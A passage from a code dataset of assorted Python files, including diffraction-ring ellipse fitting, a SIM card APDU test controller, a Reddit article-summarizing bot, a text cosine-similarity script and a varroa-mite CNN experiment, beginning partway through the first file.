cv2.imshow(\"image_window\", img_colorscale)\n if cv2.waitKey(1) & 0xFF == ord(\"q\"):\n break\n\n cv2.destroyAllWindows()\n \n \n #h,w read the dimensions of the image\n h, w = img.shape[:2]\n \n #initialise a variable using Pandas (as a dataframe)\n data=pd.DataFrame([[0,'0.0',0.0,0.0,0.0,0.0,1,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],columns=['file_index','filename', \n 'x_centre(calibration)',\n 'y_centre(calibration)',\n 'xpos',\n 'ypos',\n 'ring_number',\n 'radius',\n 'ellipse_cx',\n 'ellipse_cy',\n 'ellipse_d1(semi)',\n 'ellipse_d2(semi)',\n 'ellipse_a',\n 'majorXY_pixel',\n 'minorXY_pixel',\n 'major_dspacing_nm',\n 'minor_dspacing_nm'])\n \n \n counter=0\n start_time = time.time()\n print(\"Ready to analyse \",len(xpos),\" rings ...\\n\")\n \n #Loop for each file in the .tif files\n for currentfile in all_tif_files:\n print(\"working on file ... \",currentfile)\n \n #reads each file >8-bit as a floating point between 0 and 1\n img=cv2.imread(currentfile,cv2.IMREAD_ANYDEPTH)\n \n #rescale between 0 and 1\n img=img/np.max(img)\n \n #loop for each ring\n for ring_number in range (0,len(xpos)):\n \n #Estimate radius from calibrated beam centre to apply a mask\n radius = np.sqrt((xpos[ring_number] - x_centre)**2 + (ypos[ring_number] - y_centre)**2)\n #print(\"Ring \", ring_number+1 , \"Radius= \" ,radius)\n \n #create_circular_mask is a user defined function to apply a mask around each ring. Only 10 pixels around each of the selected ring position will be left to non-zero values\n inner_mask,outer_mask = create_circular_mask(h, w,[x_centre,y_centre],radius,10)\n masked_img = img.copy()\n masked_img[inner_mask] = 0\n masked_img[outer_mask]=0\n #plt.imshow(masked_img)\n #plt.show()\n\n \n \n #Try except loop tries to fit and ellipse. If error/exception, it puts the values to zero\n try:\n \n #rescale between 0 and 1 after masked for 1 ring\n #masked_img=masked_img/np.max(masked_img)\n #plt.imshow(masked_img)\n #plt.show()\n coordinates = np.where(masked_img>0.0005) #most of the background points are about 0.05 and lower\n intensities = img[coordinates] # used for weighting\n #print(coordinates[1],coordinates[0])\n #scat = plt.scatter(coordinates[1],coordinates[0], s=1, c = \"r\")\n #plt.imshow(img)\n #plt.show()\n \n #fitEllipse is a user defined function to fit ellipse to picked coordinates resulting from thresholding\n #weighted_fitEllipse is a user defined function to fit ellipse using intensities of the points as weights\n \n a = weighted_fitEllipse(coordinates[1],coordinates[0],intensities)\n \n #User defined functions to return ellipse centre, axes and angle\n center = ellipse_center(a)\n #phi = ellipse_angle_of_rotation(a)\n phi = ellipse_angle_of_rotation2(a)\n axes = ellipse_axis_length(a)\n \n # get the individual axes ############change this later to remove unnecessary variables\n cx,cy = center\n d1,d2 = axes\n angle= phi * 180 / np.pi + 90\n minorR=d2\n majorR=d1\n minorXY=(2*minorR*majorR)/math.sqrt((majorR*math.cos(angle*math.pi/180))**2+(minorR*math.sin(angle*math.pi/180))**2)\n majorXY=(2*minorR*majorR)/math.sqrt((majorR*math.cos((angle*math.pi/180)+90.0))**2+(minorR*math.sin((angle*math.pi/180)+90.0))**2)\n minor_dspacing = 2*1.7054e+09 / (1480000*minorXY); #from projection geometry\n major_dspacing = 2*1.7054e+09 / (1480000*majorXY); #from projection geometry\n \n except:\n cx,cy = 0.0,0.0\n d1,d2 = 0.0,0.0\n angle= 0.0\n minorR =0.0\n majorR=0.0\n minorXY=0.0\n majorXY=0.0\n minor_dspacing =0.0\n major_dspacing =0.0\n counter = counter+1\n\n \n #tempdata is a dataframe to append to the full dataframe 'data'. \n tempdata= pd.DataFrame([[counter,currentfile, x_centre,y_centre,xpos[ring_number],ypos[ring_number],ring_number+1,radius,\n cx,cy,d1,d2,angle,majorXY,minorXY,major_dspacing,minor_dspacing]],columns=[ 'file_index',\n 'filename', \n 'x_centre(calibration)',\n 'y_centre(calibration)',\n 'xpos',\n 'ypos',\n 'ring_number',\n 'radius',\n 'ellipse_cx',\n 'ellipse_cy',\n 'ellipse_d1(semi)',\n 'ellipse_d2(semi)',\n 'ellipse_a',\n 'majorXY_pixel',\n 'minorXY_pixel',\n 'major_dspacing_nm',\n 'minor_dspacing_nm'])\n data=data.append(tempdata)\n \n \n \n print(\"Took --- %s seconds ---\" % (time.time() - start_time)) \n print(\"Done... \\nWriting to file... Please select folder\\n\")\n \n #Remove the first row of the data frame that was used to initialise\n data = data.iloc[1:,]\n \n #sort values by ring number. Second preference to sort is by filename. ####### The second preference is necessary.\n data=data.sort_values(by=['ring_number','filename'])\n \n #Drop the old index and reset index\n data=data.reset_index(drop=True)\n \n #Select a folder to add results file\n #savefoldername=easygui.diropenbox(msg=\"Select Folder to save results\", title=\"Select Folder\", default=foldername)\n results_file=easygui.filesavebox(msg=\"File to save\", title=\"Save results to \", default=os.path.join(foldername,\"results.xlsx\"), filetypes=[\"*.xlsx\"])\n \n \n #data.to_excel(os.path.join(savefoldername, \"results.xlsx\"), index=False)\n data.to_excel(results_file, index=False)\n \n \n \n #Plot data to check if everything is alright\n fig, ax = plt.subplots(2)\n fig.suptitle('Major and Minor d-spacing')\n\n ax[0].plot(data.index,data['major_dspacing_nm'],c='b',label='Major d-spacing')\n ax[1].plot(data.index,data['minor_dspacing_nm'],c='b',label='Minor d-spacing')\n \n \n plt.show()\n \n\n\n\n\n \n \ndef draw_image(event, x,y,flags,param):\n if event ==cv2.EVENT_MBUTTONDOWN:\n print(x,y)\n xpos.append(x)\n ypos.append(y)\n return xpos,ypos\n\ndef create_circular_mask(h, w, center=None, radius=None, width=10):\n Y, X = np.ogrid[:h, :w]\n dist_from_center = np.sqrt((X - center[0])**2 + (Y-center[1])**2)\n inner_mask = dist_from_center <= radius - width\n outer_mask= dist_from_center >= radius + width\n return inner_mask,outer_mask\n\n\ndef fitEllipse(x,y):\n x = x[:,np.newaxis]\n y = y[:,np.newaxis]\n D = np.hstack((x*x, x*y, y*y, x, y, np.ones_like(x)))\n S = np.dot(D.T,D)\n C = np.zeros([6,6])\n C[0,2] = C[2,0] = 2; C[1,1] = -1\n E, V = eig(np.dot(inv(S), C))\n n = np.argmax(np.abs(E))\n a = V[:,n]\n return a\n\ndef weighted_fitEllipse(x,y,w):\n x = x[:,np.newaxis]\n y = y[:,np.newaxis]\n D = np.hstack((x*x, x*y, y*y, x, y, np.ones_like(x)))\n w = np.tile(w,(6,1)).T\n D1 = np.multiply(D,w)\n S1 = np.dot(D1.T,D1)\n C1 = np.zeros([6,6])\n C1[0,2] = C1[2,0] = 2; C1[1,1] = -1\n E1, V1 = eig(np.dot(inv(S1), C1))\n n1 = np.argmax(np.abs(E1))\n a1 = V1[:,n1]\n return a1\n\ndef ellipse_center(a):\n b,c,d,f,g,a = a[1]/2, a[2], a[3]/2, a[4]/2, a[5], a[0]\n num = b*b-a*c\n x0=(c*d-b*f)/num\n y0=(a*f-b*d)/num\n return np.array([x0,y0])\n\n\ndef ellipse_angle_of_rotation( a ):\n b,c,d,f,g,a = a[1]/2, a[2], a[3]/2, a[4]/2, a[5], a[0]\n return 0.5*np.arctan(2*b/(a-c))\n\n\ndef ellipse_axis_length( a ):\n b,c,d,f,g,a = a[1]/2, a[2], a[3]/2, a[4]/2, a[5], a[0]\n up = 2*(a*f*f+c*d*d+g*b*b-2*b*d*f-a*c*g)\n down1=(b*b-a*c)*( (c-a)*np.sqrt(1+4*b*b/((a-c)*(a-c)))-(c+a))\n down2=(b*b-a*c)*( (a-c)*np.sqrt(1+4*b*b/((a-c)*(a-c)))-(c+a))\n res1=np.sqrt(up/down1)\n res2=np.sqrt(up/down2)\n return np.array([res1, res2])\n\ndef ellipse_angle_of_rotation2( a ):\n b,c,d,f,g,a = a[1]/2, a[2], a[3]/2, a[4]/2, a[5], a[0]\n if b == 0:\n if a > c:\n return 0\n else:\n return np.pi/2\n else: \n if a > c:\n return np.arctan(2*b/(a-c))/2\n else:\n return np.pi/2 + np.arctan(2*b/(a-c))/2 \n\nmain()\n\n\n\n\n","sub_path":"pydiffrings.py","file_name":"pydiffrings.py","file_ext":"py","file_size_in_byte":13937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"649000200","text":"import os\nimport re\nimport csv\nimport collections\ndef task1():\n path = 'news'\n for fname in os.listdir(path):\n file = os.path.join(path, fname)\n with open (file, encoding = 'windows-1251', errors = 'ignore') as f:\n lines = f.readlines()\n for line in lines:\n a = re.findall('name=\"(\\w+)', line)\n b = re.findall('content=\"(\\w+)', line)\n for i in a:\n if i in line:\n print(i, ',', b)\ndef task2():\n path = 'news'\n for fname in os.listdir(path):\n file = os.path.join(path, fname)\n with open (file, encoding=\"windows-1251\", errors='ignore') as f:\n text = f.read()\n a = re.findall(r'lex=\"[А-Я]+\"', text)\n c = collections.Counter(a)\n print(c)\nprint(task1())\nprint(task2())\n","sub_path":"exam/exam1.py","file_name":"exam1.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"196544920","text":"#Ejercicio 3\n\ndef calcularHora(hora):\n \"\"\"int -> int\n OBJ: resta 12 horas y pasa la hora de reloj 24h a 12h\n PRE: hora >= 0\n \"\"\"\n return hora - 12\n\nhora = int(input(\"Introduce la hora: \"))\nminutos = int(input(\"Introduce los minutos: \"))\n\nif hora >= 13 and hora < 24 and minutos >= 0 and minutos <= 59:\n print(\"Son las\", calcularHora(hora),\":\", minutos, \"pm\")\nelif hora > 24 or minutos > 59:\n print(\"Error, hora mal introducida\")\nelse: \n print(\"Son las\", hora, \":\", minutos, \"am\")\n\n","sub_path":"laboratorio/cuaderno-3/ejercicio-3.py","file_name":"ejercicio-3.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"244823739","text":"#!/usr/bin/env python3\n\nimport triggerbuddy\nimport getopt\nimport sys\nimport uuid\nimport random\nimport numpy as np\nimport random\nimport serial\n\nclass SIMController:\n def __init__(self,trigger=None):\n self.c = None\n self.t = trigger\n\n def do_auth(self,debug=True):\n if self.t:\n t.disarm()\n self.cardrequest = CardRequest(timeout=5,cardType=AnyCardType())\n self.cardservice = self.cardrequest.waitforcard()\n if debug:\n obs = ConsoleCardConnectionObserver()\n self.cardservice.connection.addObserver(obs)\n self.cardservice.connection.connect()\n self.c = self.cardservice.connection\n print(\"ATR : %s\" % self.cardservice.connection.getATR())\n r,sw1,sw2 = self._select_file(file_id=0x3F00) # SCARD_FILE_MF\n r,sw1,sw2 = self._select_file(aid=[0xa0,0x00,0x00,0x00,0x87]) # default 3G file\n next_rand = [random.randint(0,255) for _ in range(16)]\n next_autn = [random.randint(0,255) for _ in range(16)]\n str_rand = \"\".join([\"%02x\" % _ for _ in next_rand])\n str_autn = \"\".join([\"%02x\" % _ for _ in next_autn])\n print(\"%s:%s\" % (str_rand,str_autn))\n # self.t.arm()\n r,sw1,sw2 = self._umts_auth(next_rand,next_autn)\n # if sw1 == 0x61:\n # self._get_response(sw2)\n\n def _umts_auth(self,rand,autn):\n cmd = [0x00, 0x88, 0x00, 0x81, 0x22]\n cmd.append(len(rand))\n cmd += rand\n cmd.append(len(autn))\n cmd += autn\n dx = triggerbuddy.edgeCount(cmd)\n # self.t.processCommand(\"io %d\" % dx)\n # self.t.arm()\n r,sw1,sw2 = self.c.transmit(cmd)\n return (r,sw1,sw2)\n\n def _get_response(self,resp_length):\n USIM_CLA = 0x00\n get_resp = [0xa0, 0xc0, 0x00, 0x00]\n get_resp[0] = USIM_CLA\n get_resp.append(resp_length)\n r,sw1,sw2 = self.c.transmit(get_resp)\n return r,sw1,sw2\n\n def _select_file(self,file_id=None,aid=[]):\n cmd = [0xa0, 0xa4, 0x00, 0x00, 0x02]\n USIM_CLA = 0x00\n cmd[0] = USIM_CLA\n cmd[3] = 0x04\n if len(aid) != 0:\n cmd[2] = 0x04\n cmd[4] = len(aid)\n cmd += aid\n else:\n b1 = (file_id >> 8) & 0xFF\n b2 = file_id & 0xFF\n cmd += [b1,b2]\n r,sw1,sw2 = self.c.transmit(cmd)\n return (r,sw1,sw2)\n\nclass SIMController2:\n def __init__(self):\n self.ser = serial.Serial(\"/dev/ttyUSB0\",9600)\n\n def _do_auth(self):\n pass\n \n def _send_apdu(self,apdu):\n self.ser.write(b'a')\n self.ser.write(bytes([len(apdu)]))\n self.ser.write(apdu)\n\n def _select_file(self,file_id=None,aid=[],extra_delay=None):\n cmd = [0xa0, 0xa4, 0x00, 0x00, 0x02]\n USIM_CLA = 0x00\n cmd[0] = USIM_CLA\n cmd[3] = 0x04\n if len(aid) != 0:\n cmd[2] = 0x04\n cmd[4] = len(aid)\n cmd += aid\n else:\n b1 = (file_id >> 8) & 0xFF\n b2 = file_id & 0xFF\n cmd += [b1,b2]\n out = \"\"\n for c in cmd:\n out += \"%02x \" % c\n print(out)\n self._send_apdu(cmd)\n if extra_delay is not None:\n time.sleep(extra_delay)\n return self._readbuf()\n\n def _get_response(self,size):\n cmd = [0x00,0xC0,0x00,0x00]\n cmd += [size]\n out = \"\"\n for c in cmd:\n out += \"%02x \" % c\n print(out)\n self._send_apdu(cmd)\n time.sleep(0.1)\n return self._readbuf()\n\n def _readbuf(self):\n time.sleep(0.1)\n self.ser.write(b'd')\n c = self.ser.read(1)\n if c != b'#':\n print(\"Expected #, got %02x\" % ord(c))\n # return\n respsize = ord(self.ser.read(1))\n print(\"RESPSIZE %d\" % respsize)\n c = self.ser.read(respsize)\n out = \"\"\n for cx in c:\n out += \"%02x \" % cx\n print(out)\n time.sleep(0.1)\n return c\n\n def _umts_auth(self,rand,autn):\n cmd = [0x00, 0x88, 0x00, 0x81, 0x22]\n cmd.append(len(rand))\n cmd += rand\n cmd.append(len(autn))\n cmd += autn\n self._send_apdu(cmd)\n \nimport time\nif __name__ == \"__main__\":\n sc = SIMController2()\n sc.ser.write(b'R')\n sc.ser.read(1)\n sc._readbuf()\n time.sleep(1.0)\n r = sc._select_file(file_id=0x2F00) # EF_DIR\n time.sleep(0.1)\n r = sc._readbuf()\n r = sc._get_response(r[2])\n # for cx in r:\n # print(\"%02x\" % cx)\n r = sc._send_apdu([0x00,0xB2,0x01,0x04,r[8]])\n print(\"STOP\")\n time.sleep(0.1)\n r = sc._readbuf()\n r = sc._select_file(aid=r[5:5+r[4]],extra_delay=0.5) # srslte:srsue/src/stack/upper/pcsc_usim.cc\n time.sleep(0.4)\n # r = sc._readbuf()\n print(\"AUTH\")\n sc._umts_auth([0xaa] * 16, [0xbb] * 16)\n # time.sleep(0.5)\n # r = sc._readbuf()\n # r = sc._get_response(r[2])\n sc.ser.close()\n sys.exit(0)\n","sub_path":"test-scard.py","file_name":"test-scard.py","file_ext":"py","file_size_in_byte":4427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"131771029","text":"import sys\nimport copy\n\n\ndef input_data():\n readl = sys.stdin.readline\n N = int(readl())\n weight = [int(readl()) for _ in range(N)]\n return N, weight\n\n\nsol = -1\n# 입력받는 부분\nN, w = input_data()\n\n\n'''\n5\n522\n6\n84\n7311\n19\n\n'''\n\n\n\n\ndef summable(a, b):\n chk_len = min(len(str(a)), len(str(b)))\n check = True\n for _ in range(chk_len):\n ad = a % 10\n bd = b % 10\n if ad + bd >= 10:\n check = False\n break\n\n a = a // 10\n b = b // 10\n\n if check:\n return True\n else:\n return False\n\nans= 0\n\ndef dfs(n,sum_weight,cnt):\n global ans\n if n==N:\n ans=max(ans,cnt)\n return\n nxt_weight=w[n]\n\n if summable(sum_weight,nxt_weight):\n dfs(n+1,sum_weight+nxt_weight,cnt+1)\n dfs(n + 1, sum_weight , cnt)\n\n\ndfs(0,0,0)\nprint(ans)\n\n\n\n","sub_path":"problems/농장 탈출.py","file_name":"농장 탈출.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"330660885","text":"# -*- coding:utf-8 -*-\nimport jieba\nimport math\nimport re\nimport sys\n\ndef Sim(s1, s2):\n #读入两个txt文件存入s1,s2字符串中\n #s1 = open('对比库/爬山.txt','r',encoding='utf-8').read()\n #s2 = open('对比库/生命应该燃烧.txt','r',encoding='utf-8').read()\n\n #利用jieba分词与停用词表,将词分好并保存到向量中\n stopwords=[]\n fstop=open(r'D:\\CodeSpace\\Java\\IDEA\\demo\\iams-dev\\src\\main\\resources\\stop_words.txt','r',encoding='utf-8')\n for eachWord in fstop:\n eachWord = re.sub(\"\\n\", \"\", eachWord) #re.sub替换\n stopwords.append(eachWord)\n fstop.close()\n s1_cut = [i for i in jieba.cut(s1, cut_all=True) if (i not in stopwords) and i!='']#列表生成式\n s2_cut = [i for i in jieba.cut(s2, cut_all=True) if (i not in stopwords) and i!='']\n word_set = set(s1_cut).union(set(s2_cut)) #并集\n\n #用字典保存两篇文章中出现的所有词并编上号\n word_dict = dict()\n i = 0\n for word in word_set:\n word_dict[word] = i\n i += 1\n\n\n #根据词袋模型统计词在每篇文档中出现的次数,形成向量\n s1_cut_code = [0]*len(word_dict) \n\n for word in s1_cut:\n s1_cut_code[word_dict[word]]+=1\n\n s2_cut_code = [0]*len(word_dict)\n for word in s2_cut:\n s2_cut_code[word_dict[word]]+=1\n\n # ���算余弦相似度\n sum = 0\n sq1 = 0\n sq2 = 0\n for i in range(len(s1_cut_code)):\n sum += s1_cut_code[i] * s2_cut_code[i]\n sq1 += math.pow(s1_cut_code[i], 2) #s1_cut_code[i]^2\n sq2 += math.pow(s2_cut_code[i], 2)\n\n try:\n result = round(float(sum) / (math.sqrt(sq1) * math.sqrt(sq2)), 3) #round 返回浮点数的四舍五入值,可用于设置小数位数。\n except ZeroDivisionError:\n result = 0.00\n #print(\"\\n余弦相似度为:{:.2f} %\".format(result * 100))\n return result\n\nif __name__ == \"__main__\":\n s1 = sys.argv[1]\n s2 = sys.argv[2]\n h = Sim(s1,s2)\n print(h)\n \n","sub_path":"src/main/resources/文本余弦相似度.py","file_name":"文本余弦相似度.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"304463206","text":"n = list(map(int, input().split(\" \")))\nn.sort()\nt = n[0] + n[1]\nlst = []\nfor i in range(2, len(n)):\n t += n[i]\n lst.append(t)\na = n[0] + n[1]\nlst.append(a)\nprint(sum(lst))","sub_path":"Practice/KrishnaCandies.py","file_name":"KrishnaCandies.py","file_ext":"py","file_size_in_byte":177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"122481479","text":"\"\"\"\nInits the summary bot. It starts a Reddit instance using PRAW, gets the latest posts\nand filters those who have already been processed.\n\"\"\"\nimport praw\nimport requests\nimport tldextract\nfrom bs4 import BeautifulSoup\n\nimport config\nimport summary\n\n# File locations\nPOSTS_LOG = \"./processed_posts.txt\"\nWHITELIST_FILE = \"./whitelist.txt\"\nERROR_LOG = \"./error.log\"\n\n# Header and Footer templates.\nHEADER = \"\"\"### {} \\n\\n*****\\n\\n\"\"\"\nFOOTER = \"\"\"*****\\n\\n*Reducido en un {:.2f}%. Este bot se encuentra en fase de pruebas, tus sugerencias y comentarios son bienvenidos.*\\n\\n[Nota Original]({}) | [GitHub](https://git.io/fhQkC) | {}\"\"\"\n\n\ndef load_whitelist():\n \"\"\"Reads the processed posts log file and creates it if it doesn't exist.\n\n Returns\n -------\n list\n A list of domains that are confirmed to have an 'article' tag.\n\n \"\"\"\n\n with open(WHITELIST_FILE, \"r\", encoding=\"utf-8\") as log_file:\n return log_file.read().splitlines()\n\n\ndef load_log():\n \"\"\"Reads the processed posts log file and creates it if it doesn't exist.\n\n Returns\n -------\n list\n A list of Reddit posts ids.\n\n \"\"\"\n\n try:\n with open(POSTS_LOG, \"r\", encoding=\"utf-8\") as log_file:\n return log_file.read().splitlines()\n\n except FileNotFoundError:\n with open(POSTS_LOG, \"a\", encoding=\"utf-8\") as log_file:\n return []\n\n\ndef update_log(post_id):\n \"\"\"Updates the processed posts log with the given post id.\n\n Parameters\n ----------\n post_id : str\n A Reddit post id.\n\n \"\"\"\n\n with open(POSTS_LOG, \"a\", encoding=\"utf-8\") as log_file:\n return log_file.write(\"{}\\n\".format(post_id))\n\n\ndef log_error(error_message):\n \"\"\"Updates the error log.\n\n Parameters\n ----------\n error_message : str\n A string containing the faulty url and the exception message.\n\n \"\"\"\n\n with open(ERROR_LOG, \"a\", encoding=\"utf-8\") as log_file:\n return log_file.write(\"{}\\n\".format(error_message))\n\n\ndef init():\n \"\"\"Inits the bot.\"\"\"\n\n reddit = praw.Reddit(client_id=config.APP_ID, client_secret=config.APP_SECRET,\n user_agent=config.USER_AGENT, username=config.REDDIT_USERNAME,\n password=config.REDDIT_PASSWORD)\n\n processed_posts = load_log()\n whitelist = load_whitelist()\n\n for submission in reddit.subreddit(config.SUBREDDIT).new():\n\n if submission.id not in processed_posts:\n\n ext = tldextract.extract(submission.url)\n domain = \"{}.{}\".format(ext.domain, ext.suffix)\n\n if domain in whitelist:\n\n try:\n article, title = extract_article_from_url(submission.url)\n summary_dict = summary.get_summary(article, title)\n except Exception as e:\n log_error(\"{},{}\".format(submission.url, e))\n update_log(submission.id)\n print(\"Failed:\", submission.id)\n continue\n\n post_body = \"\"\n\n for sentence in summary_dict[\"top_sentences\"]:\n post_body += \"\"\"> {}\\n\\n\"\"\".format(sentence)\n\n top_words = \"\"\n\n for index, word in enumerate(summary_dict[\"top_words\"]):\n top_words += \"{}^#{} \".format(word, index+1)\n\n post_message = HEADER.format(\n summary_dict[\"title\"]) + post_body + FOOTER.format(summary_dict[\"reduction\"], submission.url, top_words)\n\n reddit.submission(submission).reply(post_message)\n update_log(submission.id)\n print(\"Replied to:\", submission.id)\n\n\ndef extract_article_from_url(url):\n \"\"\"Tries to scrape the article from the given url.\n\n Parameters\n ----------\n url : str\n The url of the article.\n\n Returns\n -------\n tuple\n The article text and its title.\n\n \"\"\"\n\n headers = {\"User-Agent\": \"Summarizer v0.2\"}\n\n with requests.get(url, headers=headers) as response:\n\n # Sometimes Requests makes an incorrect guess, we force it to use utf-8\n if response.encoding == \"ISO-8859-1\":\n response.encoding = \"utf-8\"\n\n html_source = response.text\n\n # We create a BeautifulSOup object and remove the unnecessary tags.\n # We also apply a little hack to make sure paragraphs are separated.\n soup = BeautifulSoup(html_source.replace(\"
\", \"\\n\"), \"html5lib\")\n [tag.extract() for tag in soup.find_all([\"script\", \"img\", \"a\", \"time\", \"h1\"])]\n\n for tag in soup.find_all(\"div\"):\n\n try:\n if \"image\" in tag[\"id\"] or \"img\" in tag[\"id\"] or \"video\" in tag[\"id\"] or \"hidden\" in tag[\"id\"]:\n tag.extract()\n except:\n pass\n\n for tag in soup.find_all(\"div\"):\n\n try:\n tag_class = \"\".join(tag[\"class\"])\n\n if \"image\" in tag_class or \"img\" in tag_class or \"video\" in tag_class:\n tag.extract()\n except:\n pass\n\n # Then we extract the title and the article tags.\n title = soup.find(\"title\").text.replace(\"\\n\", \" \").strip()\n\n article = \"\"\n\n # Sometimes we have more than one article tag. We are going to grab the longest one.\n for article_tag in soup.find_all(\"article\"):\n\n if len(article_tag.text) >= len(article):\n article = article_tag.text\n\n # The article is too short, let's try to find it in another tag.\n if len(article) <= 650:\n\n for tag in soup.find_all([\"div\", \"section\"]):\n\n try:\n if \"artic\" in tag[\"id\"] or \"summary\" in tag[\"id\"] or \"cont\" in tag[\"id\"] or \"note\" in tag[\"id\"]:\n # We guarantee to get the longest div.\n if len(tag.text) >= len(article):\n article = tag.text\n except:\n pass\n\n # The article is still too short, let's try one more time.\n if len(article) <= 650:\n\n for tag in soup.find_all([\"div\", \"section\"]):\n\n try:\n tag_class = \"\".join(tag[\"class\"])\n\n if \"artic\" in tag_class or \"summary\" in tag_class or \"cont\" in tag_class or \"note\" in tag_class:\n\n # We guarantee to get the longest div.\n if len(tag.text) >= len(article):\n article = tag.text\n except:\n pass\n\n # We give up If the article is too short.\n if len(article) <= 100:\n raise Exception(\"No article found.\")\n\n return article, title\n\n\nif __name__ == \"__main__\":\n\n init()\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":6551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"592423592","text":"from pathlib import Path\n\nimport pytest\n\nfrom ape.exceptions import VirtualMachineError\nfrom ape.utils import get_relative_path, get_tx_error_from_web3_value_error\n\n_TEST_DIRECTORY_PATH = Path(\"/This/is/a/test/\")\n_TEST_FILE_PATH = _TEST_DIRECTORY_PATH / \"scripts\" / \"script.py\"\n\n\ndef test_get_relative_path_from_project():\n actual = get_relative_path(_TEST_FILE_PATH, _TEST_DIRECTORY_PATH)\n expected = Path(\"scripts/script.py\")\n assert actual == expected\n\n\ndef test_get_relative_path_given_relative_path():\n relative_script_path = Path(\"../deploy.py\")\n with pytest.raises(ValueError) as err:\n get_relative_path(relative_script_path, _TEST_DIRECTORY_PATH)\n\n assert str(err.value) == \"'target' must be an absolute path.\"\n\n relative_project_path = Path(\"../This/is/a/test\")\n\n with pytest.raises(ValueError) as err:\n get_relative_path(_TEST_FILE_PATH, relative_project_path)\n\n assert str(err.value) == \"'anchor' must be an absolute path.\"\n\n\ndef test_get_relative_path_same_path():\n actual = get_relative_path(_TEST_FILE_PATH, _TEST_FILE_PATH)\n assert actual == Path()\n\n\ndef test_get_relative_path_roots():\n root = Path(\"/\")\n actual = get_relative_path(root, root)\n assert actual == Path()\n\n\n@pytest.mark.parametrize(\n \"error_dict\",\n (\n {\"message\": \"The transaction ran out of gas\", \"code\": -32000},\n {\"message\": \"Base limit exceeds gas limit\", \"code\": -32603},\n {\"message\": \"Exceeds block gas limit\", \"code\": -32603},\n {\"message\": \"Transaction requires at least 12345 gas\"},\n ),\n)\ndef test_get_tx_error_from_web3_value_error_gas_related(error_dict):\n test_err = ValueError(error_dict)\n actual = get_tx_error_from_web3_value_error(test_err)\n assert type(actual) != VirtualMachineError\n\n\ndef test_get_tx_error_from_web3_value_error():\n test_err = ValueError({\"message\": \"Test Action Reverted!\"})\n actual = get_tx_error_from_web3_value_error(test_err)\n assert type(actual) == VirtualMachineError\n","sub_path":"tests/functional/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"422064844","text":"\"\"\"Общие функции\"\"\"\nfrom openpyxl.utils import column_index_from_string # 'B' -> 2\n\n# -------------------------------------------------------------\ndef razdel_name_row(df_avancor, title_name,\n title_col=None, row_start=None, row_end = None ):\n \"\"\"Поиск Номера строки с названием раздела в файле Аванкор\"\"\"\n\n # номер колонки, в которой ищим название раздела\n if not title_col:\n title_col = 2\n elif type(title_col) == str:\n title_col = column_index_from_string(title_col)\n elif type(title_col) != int:\n print(f'Ошибка при указании колинки')\n\n # номер строки, начиная с которой пеербираем строки\n if not row_start:\n row_start = 1\n # номер строки, до которой пеербираем строки\n if not row_end:\n row_end = df_avancor.shape[0] # количество строк в файле\n\n title_row = []\n for row in range(row_start, row_end):\n title = str(df_avancor.loc[row, title_col])\n if title == title_name or title[:20] == title_name[:20]:\n title_row.append(row)\n\n # если найдена одна строка, то возвращаем номер строки, а не список\n # if len(title_row) == 1:\n # title_row = title_row[0]\n\n return title_row if title_row else print(f'раздел не найден')\n\n# -------------------------------------------------------------\ndef file_read(file_name):\n \"\"\"Чтение данных из файла\"\"\"\n # Получаем список строк\n # (file_name - имя файла, включая путь\n\n data_from_file = []\n # test_file = r'c:\\Users\\Сотрудник\\YandexDisk-atovanchov\\XBRL_DDS\\module\\currency_code.csv'\n with open(file_name) as data_file:\n for line in data_file:\n # Исключаем знак переноса строки в конце строки: line[:-1]\n # (последгяя строка в \"file_name\" должна быть пустой,\n # иначе в последней строке будет потерян последний символ)\n data_from_file.append(line[:-1])\n return data_from_file\n\n# -------------------------------------------------------------","sub_path":"module/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"29816882","text":"# Experimnents counting varroa on bee tray using CNN and FCN\n# Kim Bjerge, 14-11-2018\n\n#from mite import miteModelClass\n\n# 3 layered models usin 2xCONV in each layer\n# Test accuracy: 0.9874573794156821\n# F1-Score: 0.9350649350649352\nfrom mite41 import miteModelClass #threshold = 2, absolutely best\n\n# 3 layered models usin 2xCONV in each layer with deep layers 20, 40, 80\n#from mite51 import miteModelClass #threshold = 2, absolutely best\n\nfrom inspectMites import miteInspectionClass\n \nif __name__=='__main__':\n\n menu = 11\n\n miteModel = '../models/MiteModelWeights41.h5' #0.987457, threshold = 2\n #miteModel = 'MiteModelWeights45.h5' #0.985387, threshold = 5\n #miteModel = 'MiteModelWeights47.h5' #0.987457, threshold = 4\n\n #miteModel = 'MiteModelWeights51.h5' #0.988796, threshold = 4\n #miteModel = 'MiteModelWeights54.h5' #0.989771, threshold = 4\n #miteModel = 'MiteModelWeights57.h5' #0.985509, threshold = 5\n\n if menu == 1: # Training model\n mite = miteModelClass()\n mite.compile_CNN_model()\n mite.trainModel('../imgs/Mites/', 'imgs/DustMore3/', 8, centerSize=80, random=False) #6 number of epochs\n mite.save_weights('../models/MiteModelWeights56.h5')\n# mite = miteModelClass()\n# mite.compile_CNN_model()\n# mite.trainModel('BilledeFiler/ImagesAll/Mites/', 'BilledeFiler/ImagesAll/DustMore3/', 8, centerSize=80, random=False) #6 number of epochs\n# 